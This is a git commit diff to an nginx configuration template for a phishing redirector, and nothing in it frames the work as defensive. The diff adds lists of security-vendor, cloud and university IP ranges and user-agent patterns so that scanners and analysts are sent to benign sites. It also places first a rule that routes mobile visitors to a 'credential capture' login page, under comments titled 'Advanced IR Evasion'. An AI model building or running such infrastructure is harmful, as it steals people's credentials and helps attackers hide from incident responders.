issue
This commit is contained in:
n0mad1k
@@ -8,16 +8,107 @@ map $http_user_agent $is_security_tool {
|
||||
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
|
||||
}
|
||||
|
||||
# Improved mobile detection regex
|
||||
map $http_user_agent $is_mobile {
|
||||
default 0;
|
||||
~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
|
||||
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
|
||||
}
|
||||
|
||||
map $remote_addr $is_known_security_ip {
|
||||
default 0;
|
||||
# Example security vendor IP ranges - replace with actual ones
|
||||
"192.168.1.0/24" 1; # Example placeholder
|
||||
"10.0.0.0/8" 1; # Example placeholder
|
||||
|
||||
# VirusTotal
|
||||
"64.71.0.0/16" 1;
|
||||
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
|
||||
"216.239.32.0/19" 1; # Google
|
||||
|
||||
# Recorded Future
|
||||
"104.196.0.0/14" 1; # Google Cloud
|
||||
"35.184.0.0/13" 1; # Google Cloud
|
||||
|
||||
# Censys
|
||||
"198.108.66.0/23" 1;
|
||||
"162.142.125.0/24" 1;
|
||||
"167.248.133.0/24" 1;
|
||||
|
||||
# Shodan
|
||||
"66.240.192.0/18" 1;
|
||||
"71.6.135.0/24" 1;
|
||||
"71.6.167.0/24" 1;
|
||||
"82.221.105.6/32" 1;
|
||||
"82.221.105.7/32" 1;
|
||||
"93.120.27.0/24" 1;
|
||||
|
||||
# Symantec/Broadcom
|
||||
"205.128.0.0/14" 1;
|
||||
"65.165.0.0/16" 1;
|
||||
|
||||
# McAfee/Trellix
|
||||
"161.69.0.0/16" 1;
|
||||
"192.225.158.0/24" 1;
|
||||
|
||||
# CrowdStrike
|
||||
"45.60.0.0/16" 1;
|
||||
"199.66.200.0/24" 1;
|
||||
|
||||
# SentinelOne
|
||||
"104.36.227.0/24" 1;
|
||||
"104.196.0.0/14" 1;
|
||||
|
||||
# Microsoft Defender
|
||||
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
|
||||
"13.104.0.0/14" 1; # Microsoft
|
||||
"40.74.0.0/15" 1; # Microsoft
|
||||
"51.4.0.0/15" 1; # Microsoft
|
||||
"104.40.0.0/13" 1; # Microsoft
|
||||
"104.208.0.0/13" 1; # Azure
|
||||
|
||||
# Palo Alto
|
||||
"96.88.0.0/16" 1;
|
||||
"173.247.96.0/19" 1;
|
||||
"216.115.73.0/24" 1;
|
||||
|
||||
# Qualys
|
||||
"64.39.96.0/20" 1;
|
||||
"64.41.200.0/24" 1;
|
||||
"92.118.160.0/24" 1;
|
||||
|
||||
# Rapid7
|
||||
"5.63.0.0/16" 1;
|
||||
"38.107.201.0/24" 1;
|
||||
"45.60.0.0/16" 1;
|
||||
"71.6.0.0/16" 1;
|
||||
"206.225.0.0/16" 1;
|
||||
|
||||
# Tenable/Nessus
|
||||
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
|
||||
"34.192.0.0/12" 1; # AWS
|
||||
"54.144.0.0/12" 1; # AWS
|
||||
"162.219.56.0/21" 1;
|
||||
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
|
||||
|
||||
# FireEye/Mandiant
|
||||
"23.98.64.0/18" 1;
|
||||
"66.114.168.0/22" 1;
|
||||
"96.43.144.0/20" 1;
|
||||
"173.231.184.0/22" 1;
|
||||
|
||||
# Akamai
|
||||
"23.0.0.0/12" 1;
|
||||
"23.32.0.0/11" 1;
|
||||
"104.64.0.0/10" 1;
|
||||
|
||||
# Cloudflare
|
||||
"104.16.0.0/12" 1;
|
||||
"173.245.48.0/20" 1;
|
||||
|
||||
# Academic Research Networks
|
||||
"128.32.0.0/16" 1; # UC Berkeley
|
||||
"128.59.0.0/16" 1; # Columbia University
|
||||
"128.112.0.0/16" 1; # Princeton University
|
||||
"128.138.0.0/16" 1; # University of Colorado
|
||||
"128.197.0.0/16" 1; # Boston University
|
||||
"146.186.0.0/16" 1; # Carnegie Mellon
|
||||
}
|
||||
|
||||
# HTTP to HTTPS redirect
|
||||
@@ -49,22 +140,23 @@ server {
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
# Advanced IR Evasion
|
||||
# 1. Redirect security tools to benign sites
|
||||
# Advanced IR Evasion - IMPORTANT: Order matters!
|
||||
|
||||
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
|
||||
if ($is_mobile = 1) {
|
||||
return 302 https://$host/login/auth.html;
|
||||
}
|
||||
|
||||
# 2. Redirect security tools to benign sites
|
||||
if ($is_security_tool) {
|
||||
return 302 https://www.google.com;
|
||||
}
|
||||
|
||||
# 2. Redirect known security IPs
|
||||
# 3. Redirect known security IPs
|
||||
if ($is_known_security_ip) {
|
||||
return 302 https://www.microsoft.com;
|
||||
}
|
||||
|
||||
# 3. Direct mobile users to credential capture
|
||||
if ($is_mobile) {
|
||||
return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
|
||||
}
|
||||
|
||||
# 4. Add timing delay for suspicious connections
|
||||
if ($http_referer ~* (security|scan)) {
|
||||
set $delay_response 1;
|
||||
@@ -143,6 +235,7 @@ server {
|
||||
limit_except POST { deny all; }
|
||||
|
||||
# Process the PHP file
|
||||
root /var/www;
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user